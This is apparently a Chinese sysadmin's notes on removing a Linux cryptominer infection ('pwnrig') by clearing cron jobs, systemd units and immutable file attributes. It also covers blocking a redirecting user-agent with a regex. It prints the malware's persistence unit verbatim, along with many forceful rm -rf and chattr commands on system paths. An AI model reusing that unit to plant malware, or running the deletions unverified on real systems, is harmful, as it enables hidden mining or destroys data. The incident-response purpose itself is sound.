linux病毒
syst3md病毒程序
删除
sudo crontab -r
#确认服务器ps未被修改
rpm -qf `which ps`
# procps-ng-3.3.10-23.el7.x86_64
#检查文件完整性
rpm -V procps-ng
/usr/bin/.ICE-unix/.k/.file-2234A
网站UA访问异常
正常访问网站是ok的

如果访问网站使用了一段神秘的ua,网站会被重定向到别人的网站 (原因是这个:baiduboxapp
)
Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 SP-engine/2.92.0 main/1.0 baiduboxapp/13.54.0.10 (Baidu; P2 17.3.1) NABar/1.0 themeUA=Theme/default

解决办法:
在宝塔中安装 Nginx免费防火墙
配置ua的正则表达式

正则表达式:
\b(baiduboxapp\/[\d.]+) \((.*?)\) (NABar\/[\d.]+) (themeUA=Theme\/\w+)
当我们再次访问的时候,已经被拦截了。

linux cpu过高

后台莫名出现了一个进程,kill以后还是会出现,记录一下排查过程
1、是否有定时脚本
crontab -l
如果存在不认识的,可以编辑删出
crontab -e
2、查看相关的进程
ls -p 12171 (进程编号)

看上去像是我本机与这个ip地址建立什么链接一样
解决办法
iptables -A OUTPUT -p tcp -d 137.184.225.175 -j DROP
3、检查启动项
grep -r 'bash' /etc/init.d/
grep -r 'bash' /etc/rc.local
grep -r 'bash' /etc/systemd/system/

这里面有一个 -bash
的东西他在我启动系统的时候,将/bin/initdr
文件复制了一份,然后执行后在删出这个文件,实际上这个脚本已经在运行了,所以当你去查看 /bin/-bash
的时候,发现并没有这个脚本存在。
删除这个脚本
sudo rm -rf /bin/initdr

发现这个东西还无法删除
➜ ~ sudo rm -rf /bin/initdr
rm: 无法删除"/bin/initdr": 不允许的操作
➜ ~ ll /bin/initdr
-rwxr-xr-x 1 root root 2.3M 11月 18 19:11 /bin/initdr
解决方式
查看权限
lsattr /bin/initdr # -----a---------- /bin/initdr
去除 a ,有些可能还有 i ,一并去除
chattr -d -ai /bin/initdr
最后:---------------- /bin/initdr
就可以直接删除了
rm -rf /bin/initdr
检查服务的时候也存在一个异常的服务
➜ ~ grep -r 'bash' /etc/systemd/system/
/etc/systemd/system/pwnrige.service:ExecStart=/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/-bash 2>/dev/null && /bin/-bash -c -p 443 -tls -dp 443 -tls -p 80 -dp 80 -p 3333 -dp 3333 -k >/dev/null 2>&1 && rm -rf -- /bin/-bash 2>/dev/null'
➜ ~ systemctl stop pwnrige
➜ ~ systemctl status pwnrige
● pwnrige.service - pwnrig
Loaded: loaded (/etc/systemd/system/pwnrige.service; enabled; vendor preset: disabled)
Active: failed (Result: start-limit) since 二 2024-11-19 11:02:21 CST; 52min ago
Process: 4615 ExecStart=/bin/bash -c cp -f -r -- /bin/sysdr /bin/-bash 2>/dev/null && /bin/-bash -c -p 443 -tls -dp 443 -tls -p 80 -dp 80 -p 3333 -dp 3333 -k >/dev/null 2>&1 && rm -rf -- /bin/-bash 2>/dev/null (code=exited, status=0/SUCCESS)
11月 19 11:02:21 localhost.localdomain systemd[1]: Started pwnrig.
11月 19 11:02:21 localhost.localdomain systemd[1]: pwnrige.service holdoff time over, scheduling restart.
11月 19 11:02:21 localhost.localdomain systemd[1]: Stopped pwnrig.
11月 19 11:02:21 localhost.localdomain systemd[1]: start request repeated too quickly for pwnrige.service
11月 19 11:02:21 localhost.localdomain systemd[1]: Failed to start pwnrig.
11月 19 11:02:21 localhost.localdomain systemd[1]: Unit pwnrige.service entered failed state.
11月 19 11:02:21 localhost.localdomain systemd[1]: pwnrige.service failed.
➜ ~ systemctl disable pwnrige
Removed symlink /etc/systemd/system/multi-user.target.wants/pwnrige.service.
pwnrige.service
[Unit]
Description=pwnrig
Wants=network.target
After=syslog.target network-online.target
[Service]
Type=forking
ExecStart=/bin/bash -c 'cp -f -r -- /bin/sysdr /bin/-bash 2>/dev/null && /bin/-bash -c -p 443 -tls -dp 443 -tls -p 80 -dp 80 -p 3333 -dp 3333 -k >/dev/null 2>&1 && rm -rf -- /bin/-bash 2>/dev/null'
Restart=always
KillMode=process
[Install]
WantedBy=multi-user.target
我们将这个文件删除
sudo rm -rf /etc/systemd/system/pwnrige.service
如果删除不了,重复上面的操作
➜ ~ chattr -d -i /etc/systemd/system/pwnrige.service
➜ ~ lsattr /etc/systemd/system/pwnrige.service
-----a---------- /etc/systemd/system/pwnrige.service
➜ ~ chattr -d -a /etc/systemd/system/pwnrige.service
➜ ~ lsattr /etc/systemd/system/pwnrige.service
---------------- /etc/systemd/system/pwnrige.service
➜ ~ rm -rf /etc/systemd/system/pwnrige.service
上面一系列操作以后发现 -bash
还是存在
再检查
crontab -l
cat /etc/crontab
cat /etc/cron.d/*
发现这个东西还是存在

删除方式
➜ /tmp cd /etc/cron.d/
➜ cron.d ls
0hourly pwnrig raid-check sysstat
➜ cron.d ll
总用量 32K
drwxr-xr-x. 2 root root 68 11月 18 19:11 .
drwxr-xr-x. 155 root root 12K 11月 19 13:44 ..
-rw-r--r-- 1 root root 128 5月 16 2023 0hourly
-rwxr-xr-x 1 root root 196 11月 18 19:11 pwnrig
-rw-r--r-- 1 root root 108 1月 8 2022 raid-check
-rw-------. 1 root root 235 10月 31 2018 sysstat
➜ cron.d lsattr pwnrig
----ia---------- pwnrig
➜ cron.d chattr -d -ia pwnrig
➜ cron.d rm -rf pwnrig
经过上面一系列的操作,发现还是没有清除,换个方式又问了一遍gpt,找到下面的方式终于清除了。
查询详细的定时任务
再检查一遍所有的定时任务,发现再其他的地方可能还会有。
ls -al /etc/cron.*
lsattr pwnrig
chattr -d -ia pwnrig && rm -rf pwnrig
找出异常的进程 (我异常的进程是 -bash
)
ps aux | grep '\-bash'

找到异常的进程pid: 19960
,执行下面的命令,
ls -l /proc/19960/exe
# 获取通过当前进程的pid找到父级pid
ps -o ppid= -p 19960 # 1

发现当前进程是root用户启动的,那不是完犊子了,不过不用担心,我们可以用过下面的命令查看关联的服务
ps -p 1 -o pid,ppid,cmd
发现他是由 /usr/lib/systemd/systemd
目录下的某个服务启动的
~ ps -p 1 -o pid,ppid,cmd
PID PPID CMD
1 0 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
接下来我们过滤一下这个目录下是否包含异常进程的关键词 -bash
grep -r "\-bash" /etc/systemd/system/ /lib/systemd/system/

果然发现了一个 pwnrigl.service
服务
systemctl status pwnrigl.service

发现这个服务还在运行,接下来就好办了,停止运行,禁用,然后再删除 (如果无法删除,可以查看一下属性,将对应的属性去除吽再删除)
systemctl stop pwnrigl.service
systemctl disable pwnrigl.service
rm /lib/systemd/system/pwnrigl.service

至此,异常的进程就不在了

最后查找一下是否还存留其他相关的文件
find / -name "pwnrig" -type f
systemctl stop pwnrigl.service
systemctl disable pwnrigl.service
chattr -d -ai /lib/systemd/system/pwnrigl.service
rm /lib/systemd/system/pwnrigl.service
chattr -d -ai /etc/systemd/system/pwnrige.service
rm -rf /etc/systemd/system/pwnrige.service
chattr -d -ai /etc/init.d/pwnrig
rm -rf /etc/init.d/pwnrig
chattr -d -ai /etc/cron.d/pwnrig
chattr -d -ai /etc/cron.daily/pwnrig
chattr -d -ai /etc/cron.hourly/pwnrig
chattr -d -ai /etc/cron.d/pwnrig
chattr -d -ai /etc/cron.monthly/pwnrig
chattr -d -ai /etc/cron.weekly/pwnrig
rm -rf /etc/cron.d/pwnrig
rm -rf /etc/cron.daily/pwnrig
rm -rf /etc/cron.hourly/pwnrig
rm -rf /etc/cron.monthly/pwnrig
rm -rf /etc/cron.weekly/pwnrig
lsattr /bin/initdr
rm /bin/initdr